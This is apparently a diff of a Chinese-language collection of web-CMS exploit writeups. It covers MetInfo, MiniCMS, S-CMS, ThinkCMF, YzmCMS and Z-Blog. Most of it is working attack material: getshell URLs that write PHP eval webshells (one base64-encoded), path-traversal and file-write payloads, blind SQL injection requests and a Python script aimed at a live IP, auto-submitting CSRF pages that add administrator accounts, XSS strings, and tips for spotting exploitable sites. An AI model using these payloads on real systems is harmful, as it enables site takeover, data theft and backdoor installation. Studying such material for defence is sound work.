fclose($fp);
|
||||
```
|
||||
|
||||
在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
|
||||
|
||||
### 3. POC
|
||||
|
||||
数据库配置时修改任意参数为`*/phpinfo();/*`可导致Getshell。点击保存之后,直接访问/config/config_db.php即可getshell。
|
||||
shell地址:`http://xxx.com/config/config_db.php`
|
||||
|
||||
## 0x02 CVE-2017-11347补丁绕过继续Getshell
|
||||
|
||||
*前提:windows服务器+网站绝对路径(只需要知道网站index.php所在目录的上一级目录名)*
|
||||
|
||||
### 1. 查找绝对路径的方法:
|
||||
|
||||
- 利用安装目录下的phpinfo文件: `/install/phpinfo.php`
|
||||
|
||||
- 利用报错信息(
|
||||
|
||||
信息在HTML注释中,必须通过查看网页源码的方式才能获取内容,否则看上去是空白页
|
||||
|
||||
)
|
||||
|
||||
```
|
||||
/app/system/include/public/ui/admin/top.php
|
||||
/app/system/include/public/ui/admin/box.php
|
||||
/app/system/include/public/ui/web/sidebar.php
|
||||
```
|
||||
|
||||
### 2. 漏洞分析
|
||||
|
||||
5.3.19版本针对CVE-2017-11347的补丁分析
|
||||
|
||||
```
|
||||
switch($val[2]){
|
||||
case 1:
|
||||
$address="../about/$fileaddr[1]";
|
||||
break;
|
||||
case 2:
|
||||
$address="../news/$fileaddr[1]";
|
||||
break;
|
||||
case 3:
|
||||
$address="../product/$fileaddr[1]";
|
||||
break;
|
||||
case 4:
|
||||
$address="../download/$fileaddr[1]";
|
||||
break;
|
||||
case 5:
|
||||
$address="../img/$fileaddr[1]";
|
||||
break;
|
||||
case 8:
|
||||
$address="../feedback/$fileaddr[1]";
|
||||
break;
|
||||
default:
|
||||
$address = "";
|
||||
break;
|
||||
|
||||
}
|
||||
$newfile ="../../../$val[1]";
|
||||
if($address != ''){
|
||||
Copyfile($address,$newfile);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
即:5.3.19版本采取:即使在$var[2]为空时,默认给address变量赋值为空,并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时,由于fileaddr[1]可控导致,仍然可以控制文件路径从而Getshell。
|
||||
|
||||
漏洞利用(网站安装在服务器根路径的情况):
|
||||
|
||||
第一步,新建1.ico文件,内容为:<?php phpinfo();?>
|
||||
在后台"地址栏图标"处上传该文件。
|
||||
得到地址为:http://localhost/upload/file/1506587082.ico
|
||||
|
||||
第二步,发送如下payload(注意左斜杠和右斜杠不能随意更改):
|
||||
|
||||
```
|
||||
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
|
||||
```
|
||||
|
||||
shell的地址为:
|
||||
|
||||
```
|
||||
http://localhost/about/shell.php
|
||||
```
|
||||
|
||||
### 3. POC(注意左斜杠和右斜杠不能随意更改):
|
||||
|
||||
```
|
||||
http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1
|
||||
```
|
||||
|
||||
特别注意其中的:“网站index.php上层目录名”,
|
||||
|
||||
1.如果网站安装在服务器根目录,这wamp/phpstudy默认目录值为“www";网站index.php上层目录名设置为"www"; 如果为lamp环境,这默认目录值为“html”网站index.php上层目录名设置为"html";。其他的环境类推(利用绝对路径泄露)。
|
||||
|
||||
2.如果网站安装在服务器的二级目录下,则网站index.php上层目录名设置为二级目录名。
|
||||
|
||||
例如:网站搭建在:http://localhost/MetInfoCMS /,则第二步的payload如下:
|
||||
|
||||
```
|
||||
http://localhost/MetInfoCMS/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\MetInfoCMS.\MetInfoCMS \about\shell.php|1
|
||||
```
|
||||
|
||||
相应生成的shell地址为:
|
||||
|
||||
```
|
||||
http://localhost/MetInfoCMS/about/shell.php
|
||||
```
|
||||
|
||||
## 0x03 Copyindx函数处理不当Getshell
|
||||
|
||||
### 1. 声明
|
||||
|
||||
此漏洞点位于admin/app/physical/physical.php文件,漏洞和CVE-2017-11347漏洞十分相似,但是存在根本的差异,不同点如下:
|
||||
|
||||
(1)触发函数是Copyindex函数,而非Copyfile
|
||||
|
||||
(2)此漏洞不是利用文件包含require_one,而是利用任意内容写入
|
||||
|
||||
(3)此漏洞Getshell不需要上传图片
|
||||
|
||||
(4)结合CSRF可以实现一键Getshell
|
||||
|
||||
### 2. 漏洞点
|
||||
|
||||
```
|
||||
# admin/app/physical/physical.php:197-236
|
||||
|
||||
switch($op){
|
||||
case 1:
|
||||
if(is_dir('../../../'.$val[1])){
|
||||
deldir('../../../'.$val[1]);
|
||||
echo $lang_physicaldelok;
|
||||
}
|
||||
else{unlink('../../../'.$val[1]);
|
||||
echo $lang_physicaldelok;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
$adminfile=$url_array[count($url_array)-2];
|
||||
$strsvalto=readmin($val[1],$adminfile,1);
|
||||
filetest('../../../'.$val[1]);
|
||||
deldir('../../../'.$val[1]);
|
||||
$dlappfile=parse_ini_file('dlappfile.php',true);
|
||||
if($dlappfile[$strsvalto]['dlfile']){
|
||||
$return=varcodeb('app');
|
||||
$checksum=$return['md5'];
|
||||
$met_file='/dl/app_curl.php';
|
||||
$stringfile=dlfile($dlappfile[$strsvalto]['dlfile'],"../../../$val[1]");
|
||||
}else{
|
||||
$met_file='/dl/olupdate_curl.php';
|
||||
$stringfile=dlfile("v$metcms_v/$strsvalto","../../../$val[1]");
|
||||
}
|
||||
if($stringfile==1){
|
||||
echo $lang_physicalupdatesuc;
|
||||
}
|
||||
else{
|
||||
echo dlerror($stringfile);
|
||||
die();
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
$fileaddr=explode('/',$val[1]);
|
||||
$filedir="../../../".$fileaddr[0];
|
||||
if(!file_exists($filedir)){ @mkdir ($filedir, 0777); }
|
||||
if($fileaddr[1]=="index.php"){
|
||||
Copyindx("../../../".$val[1],$val[2]);
|
||||
}
|
||||
```
|
||||
|
||||
当$action等于op而且$op等于3的时候,如果$filedir不存在则创建$filedir目录,而且如果$fileaddr[1]等于"index.php"则调用Copyindex函数,并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控!!跟进Copyindex函数源码如下:
|
||||
|
||||
```
|
||||
#admin/include/global.func.php:877-884
|
||||
|
||||
function Copyindx($newindx,$type){
|
||||
if(!file_exists($newindx)){
|
||||
$oldcont ="<?php\n# xxx Enterprise Content Management System \n# Copyright (C) xxx Co.,Ltd (http://www.xxx.cn). All rights reserved. \n\$filpy = basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once '../include/module.php'; \nrequire_once \$module; \n# This program is an open source system, commercial use, please consciously to purchase commercial license.\n# Copyright (C) xxx Co., Ltd. (http://www.xxx.cn). All rights reserved.\n?>";
|
||||
$fp = fopen($newindx,w);
|
||||
fputs($fp, $oldcont);
|
||||
fclose($fp);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
可见,直接把参数$type直接赋值给$fmodule,并写入文件内容,所以可以构造payload直接getshell.
|
||||
|
||||
### 3. POC(xxx为任意的shell目录,index.php文件名不能修改)
|
||||
|
||||
生成的shell地址:
|
||||
|
||||
```
|
||||
http://localhost/MetInfoCMS/xxx/index.php
|
||||
```
|
||||
|
||||
## 0x04 olupdate文件缺陷导致Getshell
|
||||
|
||||
### 1. 漏洞点
|
||||
|
||||
```
|
||||
#/admin/system/olupdate.phpwen文件中,当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程
|
||||
|
||||
#326-360行
|
||||
$num=1;
|
||||
$random = met_rand(6);
|
||||
$date=date('Ymd',time());
|
||||
require_once '../system/database/global.func.php';
|
||||
do{
|
||||
$sqldump = '';
|
||||
$startrow = '';
|
||||
$tables=tableprearray($tablepre);
|
||||
$sizelimit=2048;
|
||||
$tableid = isset($tableid) ? $tableid - 1 : 0;
|
||||
$startfrom = isset($startfrom) ? intval($startfrom) : 0;
|
||||
$tablenumber = count($tables);
|
||||
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
|
||||
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
|
||||
$startfrom = 0;
|
||||
}
|
||||
$startfrom = $startrow;
|
||||
$tableid = $i;
|
||||
if(trim($sqldump)){
|
||||
$sqlfile[]=$bakfile = "../update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql";
|
||||
$version='version:'.$metcms_v;
|
||||
$sqldump = "#xxx.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n#{$met_webkeys}\n# --------------------------------------------------------\n\n\n".$sqldump;
|
||||
if(!file_put_contents($bakfile, $sqldump)){
|
||||
dl_error($lang_updaterr2."({$adminfile}/update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql)",$type,$olid,$ver,$addr,$action);
|
||||
}
|
||||
}
|
||||
$num++;
|
||||
}
|
||||
while(trim($sqldump));
|
||||
if(is_array($sqlfile)) $string = "<?php\n \$sqlfile = ".var_export($sqlfile, true)."; ?>";
|
||||
filetest("../update/$addr/sqlist.php");
|
||||
if(!file_put_contents("../update/$addr/sqlist.php",$string)){
|
||||
dl_error($lang_updaterr2."({$adminfile}/update/$addr/sqlist.php)",$type,$olid,$ver,$addr,$action);
|
||||
}
|
||||
```
|
||||
|
||||
此时由于sqlfile不是数组,即is_array($sqlfile)不成立,导致$string没有初始化,可以任意修改,接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
|
||||
|
||||
*PS:这里有一个小点,由于输入控制sqlfile不是数组,第345行执行$sqlfile[]=$bakfile = "../update/$addr/{$con_dbname}{$date}{$random}{$num}.sql";会导致给字符串赋值报错,导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空,从而跳过$sqlfile[]赋值部分,这里构造tableid=1000(其实只要>=44即可)*
|
||||
|
||||
最后的payload结构如下:
|
||||
|
||||
```
|
||||
/admin/system/olupdate.php?action=sql&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000
|
||||
```
|
||||
|
||||
### 2.POC (参数addr为生成shell的目录,生成shell的文件名sqlist.php不可控)
|
||||
|
||||
```
|
||||
http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string=<?php phpinfo();?>&addr=12313&tableid=1000
|
||||
```
|
||||
|
||||
执行后的shell地址:
|
||||
|
||||
```
|
||||
http://xxx.com/admin/update/12313/sqlist.php
|
||||
```
|
||||
|
||||
## 0x05小结
|
||||
|
||||
都是需要后台管理员权限才能利用的漏洞,不过危害还是比较大,没有升级的网站赶紧升级6.0版本哦!
|
||||
前几个都有一定的条件要求,后面两个比较通杀!
|
||||
@@ -0,0 +1,38 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞|2018-10-12|踏月留香|[https://www.metinfo.cn/](https://www.metinfo.cn/) | [下载地址](https://www.metinfo.cn/upload/file/MetInfo6.1.2.zip) |6.1.2| [CVE-2018-18296](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18296)/[CVE-2018-17129](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17129)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 漏洞存在于MetInfo6.1.2/admin/index.php页面,由于参数bigclass过滤不严,导致XSS漏洞
|
||||
本地搭建网站,首先登录网站后台:`http://172.16.141.134/MetInfo6.1.2/admin/`,登录成功后,构造payload:
|
||||
`http://172.16.141.134/MetInfo6.1.2/admin/index.php?lang=cn&anyid=25&n=column&c=index&a=doadd&bigclass=1%22%3e%3cscript%3ealert(/xss/)%3c%2fscript%3e` ,即可执行跨站脚本。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> XSS漏洞的 exp代码如下:
|
||||
|
||||
``` html
|
||||
http://127.0.0.1/MetInfo6.1.2/admin/index.php?lang=cn&anyid=25&n=column&c=index&a=doadd&bigclass=1%22%3e%3cscript%3ealert(/xss/)%3c%2fscript%3e
|
||||
```
|
||||
|
||||
> SQL注入漏洞的 exp代码如下:
|
||||
> 漏洞存在于MetInfo6.1.2 `/app/system/feedback/admin/feedback_admin.class.php`页面中,由于该页面的class1参数过滤不严,导致存在SQL注入漏洞。
|
||||
本地搭建网站,首先登录网站后台:`http://172.16.141.134/MetInfo6.1.2/admin/`,登录成功后,构造payload:
|
||||
`http://172.16.141.134/MetInfo6.1.2/admin/index.php?lang=cn&anyid=29&n=feedback&c=feedback_admin&a=doexport&class1=-1//union//select//concat(0x3a,user(),0x3a)//from/**/information_schema.tables&met_fd_export=-1`,访问后网站会导出一个excel表,excel表的名称为数据库用户名。
|
||||
|
||||
|
||||
``` html
|
||||
http://127.0.0.1/MetInfo6.1.2/admin/index.php?lang=cn&anyid=29&n=feedback&c=feedback_admin&a=doexport&class1=-1/**/union/**/select/**/concat(0x3a,user(),0x3a)/**/from/**/information_schema.tables&met_fd_export=-1
|
||||
```
|
||||
|
||||
### POC截图效果如下:
|
||||
|
||||
- XSS漏洞POC运行截图
|
||||

|
||||
|
||||
- SQL注入漏洞POC运行截图
|
||||

|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|MiniCMS 1.10存在CSRF漏洞可增加管理员账户|2018-03-30|zixian(me@zixian.org、zixian@5ecurity.cn)|[https://github.com/bg5sbk/MiniCMS](https://github.com/bg5sbk/MiniCMS) | [https://github.com/bg5sbk/MiniCMS](https://github.com/bg5sbk/MiniCMS) |1.10| [CVE-2018-9092](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9092)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> MiniCMS 1.10存在CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可增加管理员账户。MiniCMS是一个在github上开源的CMS系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/bg5sbk/MiniCMS/issues/14)告知作者。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> CSRF测试页面代码如下:
|
||||
``` html
|
||||
<html>
|
||||
<head><meta http-equiv="Content-Type" content="text/html; charset=GB2312">
|
||||
<title>test</title>
|
||||
<body>
|
||||
<form action="http://127.0.0.1/minicms/mc-admin/conf.php" method="post">
|
||||
<input type="hidden" name="site_name" value="hack123" />
|
||||
<input type="hidden" name="site_desc" value="hacktest" />
|
||||
<input type="hidden" name="site_link" value="http://127.0.0.1/minicms" />
|
||||
<input type="hidden" name="user_nick" value="hack" />
|
||||
<input type="hidden" name="user_name" value="admin" />
|
||||
<input type="hidden" name="user_pass" value="hackpass" />
|
||||
<input type="hidden" name="comment_code" value="" />
|
||||
<input type="hidden" name="save" value=" " />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</head>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,69 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|S-CMS PHP v3.0存在SQL注入漏洞|2019-05-31|zhhhy|[https://www.s-cms.cn/download.html?code=php](https://www.s-cms.cn/download.html?code=php) | [https://www.s-cms.cn/download.html?code=php](https://www.s-cms.cn/download.html?code=php) |PHP v3.0| [CVE-2019-12860](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12860)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 漏洞代码位置:/js/scms.php 第182-204行,在第83行处,变量$pageid接受使用POST方式传递的pageid的值。而在第87行和第95行处,变量$pageid被直接拼接进SQL语句之中,从而产生注入。而由于是数字型注入,避免使用单引号等符号以至于绕过了防御。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 构造如下poc.py
|
||||
|
||||
``` python
|
||||
import requests
|
||||
import urllib.parse
|
||||
|
||||
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'
|
||||
|
||||
url='http://106.14.144.32:2000/js/scms.php'
|
||||
|
||||
def getDatabaseLength():
|
||||
print('开始爆破数据库长度。。。')
|
||||
for i in range(10):
|
||||
payload="1%0Aand%0Aif(length(database())>{},1,0)#".format(i)
|
||||
payload=urllib.parse.unquote(payload)
|
||||
data = {
|
||||
'action':'jssdk',
|
||||
'pagetype':'text',
|
||||
'pageid':payload
|
||||
}
|
||||
# print(data)
|
||||
# data = urllib.parse.unquote(data)
|
||||
# print(data)
|
||||
rs = requests.post(url=url,data=data)
|
||||
rs.encode='utf-8'
|
||||
# print(rs.text)
|
||||
if "20151019102732946.jpg" not in rs.text:
|
||||
print("数据库名的长度为:{}".format(i))
|
||||
return i
|
||||
|
||||
def getDatabaseName():
|
||||
print('开始获取数据库名')
|
||||
databasename = ''
|
||||
|
||||
length = getDatabaseLength()
|
||||
# length = 4
|
||||
for i in range(1,length+1):
|
||||
for c in chars:
|
||||
payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
|
||||
# print(payload)
|
||||
payload = urllib.parse.unquote(payload)
|
||||
data = {
|
||||
'action': 'jssdk',
|
||||
'pagetype': 'text',
|
||||
'pageid': payload
|
||||
}
|
||||
rs = requests.post(url=url, data=data)
|
||||
rs.encode = 'utf-8'
|
||||
# print(rs.text)
|
||||
if "20151019102732946.jpg" in rs.text:
|
||||
databasename = databasename+c
|
||||
print(databasename)
|
||||
|
||||
return databasename
|
||||
getDatabaseName()
|
||||
```
|
||||
### 漏洞详情:[PDF版详情](POC_Details/S-CMS%20PHP%20v30存在SQL注入漏洞.pdf)
|
||||
@@ -0,0 +1,42 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号|2019-02-22|qn(137535957@qq.cn)|[https://www.s-cms.cn](https://www.s-cms.cn) | [https://www.s-cms.cn](https://www.s-cms.cn) |PHP v3.0| [CVE-2019-9040](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9040)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> exp代码如下:
|
||||
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://127.0.0.1/1.com.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST">
|
||||
<input type="hidden" name="A_login" value="test1" />
|
||||
<input type="hidden" name="A_pwd" value="test1" />
|
||||
<input type="hidden" name="A_type" value="1" />
|
||||
<input type="hidden" name="A_a0" value="1" />
|
||||
<input type="hidden" name="A_a1" value="1" />
|
||||
<input type="hidden" name="A_a2" value="1" />
|
||||
<input type="hidden" name="A_a3" value="1" />
|
||||
<input type="hidden" name="A_a4" value="1" />
|
||||
<input type="hidden" name="A_a5" value="1" />
|
||||
<input type="hidden" name="A_a6" value="1" />
|
||||
<input type="hidden" name="A_a8" value="1" />
|
||||
<input type="hidden" name="A_a10" value="1" />
|
||||
<input type="hidden" name="A_a7" value="1" />
|
||||
<input type="hidden" name="A_a9" value="1" />
|
||||
<input type="hidden" name="A_a11" value="1" />
|
||||
<input type="hidden" name="A_textauth[]" value="all" />
|
||||
<input type="hidden" name="A_productauth[]" value="all" />
|
||||
<input type="hidden" name="A_bbsauth[]" value="all" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,137 @@
|
||||
## ThinkCMF漏洞全集和
|
||||
> ...持续收集,欢迎贡献
|
||||
|
||||
- 前台SQL注入:
|
||||
> 需要普通用户权限,默认可注册
|
||||
> paylaod:
|
||||
|
||||
```raw
|
||||
POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1
|
||||
Host: localhost
|
||||
Connection: close
|
||||
Cookie: PHPSESSID=kcg5v82ms3v13o8pgrhh9saj95
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 79
|
||||
|
||||
post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-
|
||||
|
||||
```
|
||||
> 还有以下可以测试:
|
||||
```raw
|
||||
post:
|
||||
term:123
|
||||
post[post_title]:123
|
||||
post[post_title]:aaa
|
||||
post_title:123
|
||||
post[id][0]:bind
|
||||
```
|
||||
|
||||
- 前台模版注入漏洞-可getshell四处
|
||||
|
||||
```raw
|
||||
# 仅在Windows环境测试
|
||||
# 第一处
|
||||
http://website/ThinkCMFX/index.php?g=Comment&m=Widget&a=fetch&templateFile=/../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
|
||||
# 第二处
|
||||
http://website/ThinkCMFX/index.php?g=Api&m=Plugin&a=fetch&templateFile=/../../../public/index&content=<%3fphp+file_put_contents('m.php','<%3fphp+eval($_POST[_])%3b');?>&prefix=
|
||||
|
||||
# 第三处
|
||||
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
|
||||
|
||||
# 第四处
|
||||
/index.php?a=fetch&content=<?php+file_put_contents("mrxn.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIjAwMCJdKTs/Pg=="));
|
||||
|
||||
```
|
||||
|
||||
- 任意文件删除-只能windows删除
|
||||
> 在用户上传头像处存在任意文件删除漏洞,发送如下数据包后,会删除网站根目录下一个名为 test.txt 的文件。(该漏洞仅能在 Windows 下触发)
|
||||
```
|
||||
POST /ThinkCMFX/index.php?g=User&m=Profile&a=do_avatar& HTTP/1.1
|
||||
Host: localhost
|
||||
Cookie: PHPSESSID=bggit7phrb1dl99pcb2lagbmq0;
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 27
|
||||
|
||||
imgurl=..\..\..\test.txt
|
||||
```
|
||||
|
||||
- 任意文件上传
|
||||
> 在 ThinkCMFX2.2.3 最终版中,存在一处任意文件上传(需要普通用户权限,默认可注册)
|
||||
` curl -F "file=@/tmp/shell.php" -X "POST" -b 'PHPSESSID=qekmttucmue6vv41kpdjghnkd0;' 'http://127.0.0.1/ThinkCMFX/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile'
|
||||
`
|
||||
|
||||
- 任意文件包含(读取数据库配置等等)
|
||||
`/index.php?a=display&templateFile=README.md`
|
||||
|
||||
### 使用说明
|
||||
> thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。
|
||||
1.看logo 3的logo是黄色的.
|
||||
2.在网站url 后面输入 admin,如果页面是蓝色的表示是3的,可日穿之.
|
||||
3.查看 README.md 在网站url后面输入README.md.
|
||||
> 另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个`模板不存在`错:
|
||||
```raw
|
||||
url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
|
||||
post:
|
||||
templateFile=/../public/index
|
||||
prefix=''
|
||||
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
|
||||
```
|
||||
请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可
|
||||
```
|
||||
例如:
|
||||
/../public/index
|
||||
/../public/exception
|
||||
/../data/index
|
||||
/../data/runtime/index
|
||||
/../plugins/Mobileverify/View/admin_index
|
||||
/../plugins/Mobileverify/View/index
|
||||
/../plugins/Mobileverify/View/widget
|
||||
/../plugins/Demo/View/admin_index
|
||||
/../plugins/Demo/View/index
|
||||
/../plugins/Demo/View/widget
|
||||
/../application/Install/View/Public/footer
|
||||
/../application/Install/View/Public/head
|
||||
/../application/Install/View/Public/header
|
||||
/../application/Common/index
|
||||
/../application/Portal/Lang/en-us/index
|
||||
/../application/Api/Lang/en-us/index
|
||||
/../application/Api/Lang/zh-cn/index
|
||||
/../application/Comment/Lang/en-us/index
|
||||
/../application/Comment/Lang/zh-cn/index
|
||||
```
|
||||
|
||||
```
|
||||
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
|
||||
post:
|
||||
templateFile=/../../../public/index
|
||||
prefix=''
|
||||
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
|
||||
```
|
||||
```
|
||||
/../../../public/index
|
||||
/../../../public/exception
|
||||
/../../../data/index
|
||||
/../../../data/runtime/index
|
||||
/../../../plugins/Mobileverify/View/admin_index
|
||||
/../../../plugins/Mobileverify/View/index
|
||||
/../../../plugins/Mobileverify/View/widget
|
||||
/../../../plugins/Demo/View/admin_index
|
||||
/../../../plugins/Demo/View/index
|
||||
/../../../plugins/Demo/View/widget
|
||||
/../../../application/Install/View/Public/footer
|
||||
/../../../application/Install/View/Public/head
|
||||
/../../../application/Install/View/Public/header
|
||||
/../../../application/Common/index
|
||||
/../../../application/Portal/Lang/en-us/index
|
||||
/../../../application/Api/Lang/en-us/index
|
||||
/../../../application/Api/Lang/zh-cn/index
|
||||
/../../../application/Comment/Lang/en-us/index
|
||||
/../../../application/Comment/Lang/zh-cn/index
|
||||
```
|
||||
> 还有最后一句废话:模版注入对于linux 并不好用 : )
|
||||
|
||||
参考:
|
||||
https://xz.aliyun.com/t/3409
|
||||
https://xz.aliyun.com/t/3529
|
||||
https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0
|
||||
@@ -0,0 +1,11 @@
|
||||
## WDJACMS1.5.2模板注入漏洞
|
||||
|
||||
### 根据官网啊的漏洞公告和GitHub提交记录对比
|
||||
|
||||
[WDJA1.5.2漏洞公告](https://www.wdja.cn/news/?type=detail&id=3):
|
||||
在会员中心的地址管理中添加地址未进行过滤,会造成任意文件写入漏洞.
|
||||
|
||||
[github提交记录](https://github.com/shadoweb/wdja/commit/eda57d4b803da920d0569eafd9abbddecb73ae65):
|
||||
可以看到注意改动文件为`php/passport/address/common/incfiles/manage_config.inc.php` 和 `php/passport/address/common/incfiles/module_config.inc.php` 文件都加了 `ii_htmlencode`函数进行过滤。
|
||||
|
||||
### 审计流程大致可以看这里(来自合天智汇公众号作者-Xiaoleung):[WDJA1.5.2网站内容管理系统模板注入漏洞](%E3%80%90%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E3%80%91WDJA1.5.2%E7%BD%91%E7%AB%99%E5%86%85%E5%AE%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.pdf)
|
||||
@@ -0,0 +1,23 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|YzmCMS 3.6存在XSS漏洞|2018-04-05|zzw (zzw@5ecurity.cn)|[http://www.yzmcms.com/](http://www.yzmcms.com/) | [http://www.yzmcms.com/](http://www.yzmcms.com/) |3.6| [CVE-2018-7653](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7653)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> YzmCMS 3.6版本的 index.php页面a、c、m参数过滤不严格可导致跨站脚本漏洞。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> poc代码:
|
||||
|
||||
``` html
|
||||
http://localhost/YzmCMS/index.php?m=search&c=index&a=initxqb4n%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecu9rs&modelid=1&q=tes
|
||||
|
||||
http://localhost/YzmCMS/index.php?m=search&c=indexf9q6s%3cimg%20src%3da%20onerror%3dalert(1)%3ej4yck&a=init&modelid=1&q=tes
|
||||
|
||||
http://localhost/YzmCMS/index.php?m=searchr81z4%3cimg%20src%3da%20onerror%3dalert(1)%3eo92wf&c=index&a=init&modelid=1&q=tes
|
||||
|
||||
http://localhost/YzmCMS/index.php?m=search&c=index&a=init&modelid=1b2sgd%22%3e%3cscript%3ealert(1)%3c%2fscript%3eopzx0&q=tes
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|Z-Blog 1.5.1.1740存在XSS漏洞|2018-04-05|zzw (zzw@5ecurity.cn)|[https://www.zblogcn.com/](https://www.zblogcn.com/) | [https://github.com/zblogcn/zblogphp](https://github.com/zblogcn/zblogphp) |1.5.1.1740| [CVE-2018-7736](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7736)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> Z-BlogPHP 1.5.1.1740版本的cmd.php页面ZC_BLOG_SUBNAME及ZC_UPLOAD_FILETYPE参数过滤不严格可导致跨站脚本漏洞。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> ZC_BLOG_SUBNAME参数poc代码:
|
||||
|
||||
